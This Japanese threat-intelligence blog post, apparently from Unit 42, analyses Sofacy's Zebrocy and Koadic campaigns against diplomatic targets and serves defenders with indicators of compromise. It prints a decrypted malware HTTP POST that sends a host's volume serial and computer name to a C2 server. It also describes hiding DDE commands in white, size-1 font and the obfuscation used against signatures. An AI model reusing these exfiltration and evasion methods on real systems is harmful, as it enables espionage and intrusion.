Sofacyグループの並列攻撃

This post is also available in: English (英語)

概要

Sofacyグループは、依然としてグローバルな脅威として存在しています。Unit 42およびその他の機関は、2018年上半期に、この脅威グループが特に北米とヨーロッパの政府機関、外交機関、およびその他の戦略的組織を中心として、いかにして世界中の複数の組織を引き続き標的にしているかを示しました。

2018年2月3月のSofacyについての最新の調査に続いて、Sofacyグループに起因する、あまり知られていないツール(Zebrocy)を使用した新しいキャンペーンを発見しました。Zebrocyは、主にマクロが含まれた悪意のあるMicrosoft Office文書や単純な実行可能ファイルの添付によるフィッシング攻撃を介して配信されます。この3番目のキャンペーンは、標的が外交を取り扱う政府組織という点では、以前報告された2つの攻撃キャンペーンと一致しています。ただし、今回のケースでは、標的の地政学的領域が異なっていました。

最新のキャンペーンで判明した興味深い相違点は、Zebrocyを使用した攻撃では、標的の組織内ではるかに幅広い対象を標的としていることです。攻撃者は、非常に数多くの個人に対してフィッシングメールを送信しています。標的となった個人は、特定のパターンに一致しているわけではなく、Web検索エンジンを使用すると簡単に見つかる電子メールアドレスでした。これは、1つの組織の一握りの被害者を標的として、集中攻撃を行うことが一般的な、Sofacyグループ関連の他の攻撃とはまったく対照的です。

大量のZebrocy攻撃を発見したことに加え、マカフィーが以前報告した動的データ交換(DDE)エクスプロイト技法を活用したSofacyグループのインスタンスも観察されました。観察されたインスタンスは、DDEエクスプロイトを使用して、以前観察されたペイロードとは異なるペイロードを配信します。あるインスタンスでは、Zebrocyの配信とインストールにDDE攻撃が使用されました。別のインスタンスでは、DDE攻撃はKoadicと呼ばれるオープンソースの侵入テストツールキットの配信に使用されました。Sofacyグループは、過去にもオープンソースや無料で利用できるツールやエクスプロイトを利用しましたが、Unit 42がKoadicツールキットの利用を観察したのは今回が初めてです。

以前の攻撃との関連性

2月のレポートでは、Sofacyグループが悪意のあるマクロが含まれたMicrosoft Office文書を使用して、SofacyCarberpペイロードを複数の政府機関に配信したことを発見しました。このレポートでは、Sofacyグループが攻撃ごとに無作為の登録者とサービスプロバイダ情報を使用することでインフラストラクチャの属性を隠すために、従来の難読化技法を使用しているとみられるという観察結果を説明しました。特に、Sofacyグループが各ドメインにWebページを配置したことを指摘しています。攻撃者がC2インフラストラクチャ上に実際のWebページをセットアップすることはほとんどないため、これは奇妙です。さらに奇妙なことには、それぞれのWebページの本文には、同じコンテンツが含まれていました。このレポート以降も、このおかしな点について調査を継続しました。このアーティファクトを使用して調査を進めることで、2月に確認された被害に類似したDealersChoiceエクスプロイトによる別の攻撃キャンペーンを発見することができました。このアーティファクトを継続して使用することで、同じコンテンツの本文を持つ別のドメイン(supservermgr[.]com)を発見しました。このドメインは2017年12月20日に登録され、数日後に、Sofacyグループが頻繁に使用している既知のVPSプロバイダに属する92.222.136[.]105に解決されました。

残念なことに、このC2ドメインは、サンプル収集時点でサードパーティによってシンクホール化されていました。それでも、supservermgr[.]comに関連付けられたマルウェアサンプルに対する動的および静的な分析に基づき、複数の固有のアーティファクトを特定することができました。これにより、当社のデータセットが拡大し、さらなる発見を確認することができました。最初に、収集したサンプルのd697160ae[CB1] ...が、hxxp://supservermgr[.]com/sys/upd/pageupd.phpにあるC2と通信してZebrocy AutoITダウンローダーを取得しようとしていることを特定しました。ドメインはシンクホール化されている[AK2] ため、アクティビティを完了することはできませんでした。それでも、C2通信に使用された、次に示す固有のハードコードされたユーザー エージェントを特定することができました。

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)

AutoFocusを使用し、ユーザー エージェント文字列を手がかりに、まったく同じユーザー エージェントを使用する3つの追加のZebrocyサンプルにデータセットが拡大しました。これが、185.25.51[.]198および185.25.50[.]93にあるZebrocyの追加のインフラストラクチャにつながりました。この時点で、元のサンプルと関連するC2ドメインに関して30近くのZebrocyのサンプルを収集しました。このマルウェアファミリ固有のアーティファクトに基づき、さらに調査を進めることで、データセットが過去数年間に使用された数百のサンプルに拡大しました。追加のサンプルのほとんどは、ESETで以前報告されたDelphiおよびAutoITの亜種でした。ただし、収集したサンプルのいくつかは、Zebrocyダウンローダー ツールのC++亜種でした。また、完全に異なるKoadicのペイロードが配信されている証拠も発見しました。さらに、ESETのレポートでこれらの攻撃における最終段階のペイロードと述べられている、DelphiバックドアのC2サービスをホストするIPアドレス185.25.50[.]93も見つかりました。

以下に、実施した関係分析を図示したMaltegoグラフを示します。

図1 関連性の視覚化

これは、収集できたすべてのZebrocyおよびKoadicサンプルの包括的なグラフではないことに注意してください。言及したサンプルまたは関連分析に関係しているサンプルのみが含まれています。

185.25.50[.]93というC2のIPから、Zebrocyによって使用されている、次に示すハードコードされた別のユーザー エージェントが見つかりました。

Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko

中央アジアの大国の外務省を標的とし、このユーザー エージェントを使用しているZebrocyのいくつかのサンプルを観察しました。このアーティファクトを足場として調べたところ、追加のZebrocyサンプルが得られました。特にサンプルの1つ、cba5ab65a[CB3] ...は、C2の以前のユーザー エージェントと組み合わせて別の固有のユーザー エージェント文字列を使用していました。

Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1

2つの個別の固有なユーザー エージェント文字列を使用しているマルウェアサンプルは、一般的ではありません。ツールの詳細な調査から、2番目のユーザー エージェント文字列は、cba5ab65a...サンプルによって取得された2番目のペイロードからのものであることが明らかになりました。Mozilla v5.1ユーザー エージェントを足場とすることで、40以上の追加のZebrocyサンプルが判明しました。ここでも、いくつかは同じ中央アジアの国を標的としていました。特に2つのサンプル、25f0d1cbc...115fd8c61...から追加のアーティファクトが得られ、私たちはそれを足場として、ZebrocyおよびKoadicを配信するための兵器化されたドキュメントを検出することができました。

固有のユーザー エージェントの文字列の使用を経時的に調べると、以前はMozilla/5.0ユーザー エージェントのみが使用されていましたが、2017年中盤以降は、3つのユーザー エージェント文字列がすべて、ZebrocyツールによってC2通信用に使用されていることがわかります。

図2 ユーザー エージェントの経時的な変化

DDEドキュメント

DDEを活用して検出された2つの兵器化されたドキュメントは、被害者学と戦略の変化の点で特に興味深いものでした。

私たちは25f0d1cbc...を調べているときに、そのC2  220.158.216[.]127を足場として、追加のZebrocyサンプルと兵器化されたドキュメントを収集できました。このドキュメント(85da72c7d...)は、外交問題を扱う北米の政府組織を標的としていたようです。それは、DDEを活用して、ペイロードを取得し、感染ホストにインストールしていました。この攻撃では、ウズベキスタン共和国に関して国連から公に入手可能なドキュメントを装ったコンテンツとともに、おとりドキュメントが展開されます。

図3 配信ドキュメントの例

図4 使用されたルアー(わな)のイメージ

兵器化されたドキュメントの作成者は、すべてのおとりコンテンツの後のドキュメントの末尾にDDE命令を追加しました。ドキュメントがWordで開かれた時点では、Wordはデフォルトでこれらのフィールドのコンテンツを表示しないため、命令は即座には表示されません。以下のスクリーンショットからわかるとおり、DDE命令が存在する行をハイライトしても表示されません。

図5 隠されたDDEコマンド

[フィールドコードの表示/非表示]機能を有効にすると、DDE命令が現れ、作成者が命令をサイズ1フォントで、白色に設定していたことがわかります。白色のフォントを使用して、コンテンツを兵器化されたドキュメント内に隠す方法は、悪意のあるマクロ攻撃でSofacyグループによって使用されていた、私たちが以前に報告した手法です。

DDE命令は、感染ホストで以下のコマンドの実行を試みます。これらのコマンドは、リモートサーバーからのペイロードのダウンロードと実行を試みます。

分析中、このDDEが Zebrocy AutoItダウンローダー(f27836430...) をダウンロード後に実行し、さらに 220.158.216[.]127からの追加ペイロードのダウンロード・実行を試みるように設定されていることがわかりました。また、DDE命令には、それが実行しなかった別のコマンドも含まれていました。それは、この配信ドキュメントの以前のバージョンのアーティファクトであることを示唆しています。以下はこの未使用のコマンドを示しています。このコマンドから、Sofacyのインフラストラクチャ内の追加サーバーが92.114.92[.]102からエンコード化されたPowerShellスクリプトをダウンロードし実行していたことが露見しました。

上記の未使用のコマンドは、McAfeeESETによって述べられたとおり、以前の攻撃、特に、2017年11月に発生した攻撃に関係しているようです。DDEが有効なドキュメントを使用したこれらの2017年11月の攻撃で配信されたペイロードは、SofacyCarberpでした。これは、2018年2月の攻撃で配信されたZebrocyダウンローダーとは異なります。

115fd8c61...は、もう1つのZebrocyサンプルで、私たちはそれを足場として、そのC2 である 86.106.131[.]177に接続している追加のサンプルを収集することができました。追加のサンプルは、前述の同じ中央アジアの大国を標的としていましたが、さらに興味深いことに、サンプルの1つは、DDEを活用し、Zebrocy以外のペイロードを含む兵器化されたドキュメントでした。このペイロードは、最終的にKoadicと呼ばれるオープンソースのペネトレーションテスト用ツールキットであることがわかりました。それは、MetasploitやPowerShell Empireによく似たツールキットで、Github上で誰でも無料で入手可能です。

図6 配信ドキュメントの例

RTFドキュメント(8cf3bc2bf...)は、サイズが264バイトと非常に小さく、その全体は以下のとおりです。

上記のコンテンツは、Microsoft Word内でDDE機能を使用して、PowerShellスクリプトを実行し、リモートサーバーからKoadicペイロードをダウンロードして、それを実行可能ファイルとしてシステムに保存し、その後、ペイロードを実行します。

結論

Sofacyグループは、2018年も標的型攻撃活動を継続しています。このブログで述べたとおり、Sofacyは、世界中の類似の標的を、異なるツールセットで攻撃するために並列して活動を展開しています。この現在の攻撃の種類に関連付けられたZebrocyツールは、開発者がツールを作成するために選択したプログラミング言語に基づき、複数の異なるフォームで構成されています。すでに、Delphi、AutoIt、およびZebrocyのC++亜種が観察されています。それらはすべて、機能が関連しているだけではありません。ときには、単一の攻撃内で亜種が互いに連結されて関連付けられていることもあります。これらの攻撃は、引き続き、スピアフィッシング活動を介して、または、以前に観察されたDDEエクスプロイト手法を使い、被害者がファイルを起動することを期待したシンプルな実行可能添付ファイルを介して、大規模に仕掛けられています。

パロアルトネットワークスのお客様は、以下によってZebrocyおよびKoadic攻撃から保護されています。

  • すべての既知のZebrocyサンプルはWildFire内で悪意があると判断されます。
  • AutoFocusをご使用のお客様は、以下のタグでこれらの活動を追跡できます。

付録

Zebrocy C++亜種

2018年2月19日、ある中央アジアの国の外交機関にスピアフィッシング メールが送信されたことが観測されました。このメールは、Delphiプログラミング言語で作成されたZebrocyダウンローダー(5b5e80f63...)を添付ファイルとして配信しようとしていました。このダウンローダーは2次ダウンローダーを取得します。このケースでは、機能的にほぼ同じであるものの、DelphiではなくC++で作成されていました。

Zebrocyダウンローダーのこの亜種は、まずラベル「C:\」のストレージ ボリュームのシリアル番号とコンピュータ名を収集します。次に、画面の右下隅に見えないウィンドウ(0x0ピクセル)を作成し、トロイの木馬のmain関数を呼び出します。

このトロイの木馬のmain関数は、構成済みのC2サーバーとやり取りして、実行用の追加コードを取得します。main関数は、対象の文字列を復号するためにswitch文内でcaseとしてサブ関数が使用する特定の番号でサブ関数を呼び出し、該当する文字列を取得して、C2と通信します。例として、各case文の最終的に復号された文字列を以下に示します(dd7e69e1...)。

Case - 復号された文字列

1 - 85.25.50[.]93

2 - POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1\r\nHost: 185.25.50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:

3 - porg=

4 - Content-Length:

トロイの木馬はRAWソケットを使用してC2サーバーと通信し、上記の復号された文字列を使用してHTTPリクエストを作成します。まず、1を引数としてこの特定のサブ関数を呼び出して、C2接続用のIPアドレスを取得します。次に2を引数としてサブ関数を呼び出して、HTTP POSTリクエストとして使用する文字列を取得します。そしてmain関数は、3を引数としてサブ関数を呼び出して、ボリューム シリアル番号とコンピュータ名とともにPOSTデータ パラメータ(「porg」)を取得して、このデータをHTTP POSTリクエストを介してC2に送ります。結果として、HTTP POSTリクエストは以下のようになります。

POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1

Host: 185.25.50[.]93

Content-Type: application/x-www-form-urlencoded

Content-Length: 21

porg=44908AE0524f422d

弊社の分析時に弊社のリクエストにC2サーバーが応答することは確認できませんでしたが、トロイの木馬が特定のデータを探してC2の応答を解析することがわかっています。

-1 - Deletes the buffer and exits the Trojan.

009 - Deletes the buffers and exits the Trojan.

HTTP応答の先頭に上記のどちらの値も見つからない場合、トロイの木馬は、16進バイトのASCII表記がないかC2応答をチェックします。トロイの木馬は、これらの16進バイトをバイナリ値に変換し、ファイルに書き込んで、ShellExecuteW API関数を使用して「open」関数によってファイルを実行します。

以下のHTTP POSTパラメータがZebrocy C++サンプル内に確認されています。

porg

structOne

oq

volume

DDEの詳細

2018年2月の攻撃で使用されたDDEドキュメントの作成者は、いくつかの難読化技法を試みて検出を回避しようとしました。第一に、DDE命令は、QUOTEフィールドに大きく依存しており、これは、10進値を等価の ASCII文字列に変換します。また、作成者は、大文字小文字を区別するシグネチャを回避するために「dde」コマンドで「E」を大文字にしました。最後に、作成者は、「dde」コマンド内の「dd」文字を太字にして、DOCXファイルのXML(word/document.xml)内の文字列を崩して、シグネチャ開発を困難にしようとしました(以下参照)。

前述のDOCXファイルに加えて、Zebrocy C2 IPアドレスとのインフラストラクチャの重複に基づいて、関連した別のDDEが有効なドキュメントを発見しました。この関連した配信ドキュメントは、RTFファイルで、オープンソースKoadicツールのロードに使用されるペイロードをダウンロードしてインストールしていました。弊社は標的または攻撃ベクトルに対してテレメトリを有していませんが、RTFファイルがDDEを使用してKoadicをロードする実行ファイルをダウンロードして実行することは知っています。

ペイロード(abbad7acd...)は、実行ファイルで、ある VBScript からExecutableに変換するツールで作成され、さらにクリプターによって難読化されているようです。弊社の分析では、F2KO Softwareの提供するVbs to Exeツールとの結びつきが考えられますが、いまのところ直接的な一致は確認されていません。攻撃者は、リソース内からファイル名とスクリプトを取得し、各バイトを -1で乗算することによってこれらのリソースをデコードしていることから、ペイロードでクリプターを使用したと弊社は確信しています。次にペイロードは、ハードコードされたSHA1ハッシュ(B6A75B1EF701710D7AEADE0FE93DE8477F3BD506)のように見える、MD5ハッシュ(14331d289e737093994395d3fc412afc)を、RC4キーとして使用し、最終的なデコードされたデータを復号します。例えば、以下のデータがリソースに存在します。

fb 70 b0 c9 bd c5 8a d4 0c 54 fd 4c 6d bb f0 0f

各バイトを-1で乗算することで、以下のデータを得ます。

05 90 50 37 43 3b 76 2c f4 ac 03 b4 93 45 10 f1

RC4およびキー、14331d289e737093994395d3fc412afcを使用すると、以下の平文データのようになります。

\x00\x00\x00\x00FlashRun.vbs

このFlashRun.vbsファイル名を使用したペイロードは観測されておらず、一時的なファイル名を使用して、埋め込まれたVBScriptファイルを格納しています(%Temp%\4.tmp\5.vbsなど)。埋め込まれたVBScriptは、リソースから取得され、上記と同じアルゴリズムを使用して復号され、以下のような平文になります。

Koadic C2サーバーは、Koadicステージング ペイロードとしての役割を果たすJavascriptコードで、このリクエストに応答します。これにより、攻撃者は、エンド システム上で追加のKoadicモジュールを実行して、エクスプロイト後の活動を実行します。残念ながら、弊社の分析時には、Sofacyによる、このKoadicモジュールの使用は観測できませんでした。

IOC

ドメイン

supservermgr[.]com

URL

hxxp://supservermgr[.]com/sys/upd/pageupd.php

Zebrocy

d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc
cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df
25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8
115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03
f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1
5b5e80f63c04402d0b282e95e32155b2f86cf604a6837853ab467111d4ac15e2
dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d

Koadic

abbad7acd50754f096fdc6551e728aa6054dcf8e55946f90a02b17db552471ca

User-Agent

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)

Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko

Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1

IPアドレス

185.25.51[.]198
185.25.50[.]93
220.158.216[.]127
92.114.92[.]102
86.106.131[.]177
85.25.50[.]93
86.106.131[.]177

DDE Doc

85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5
8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff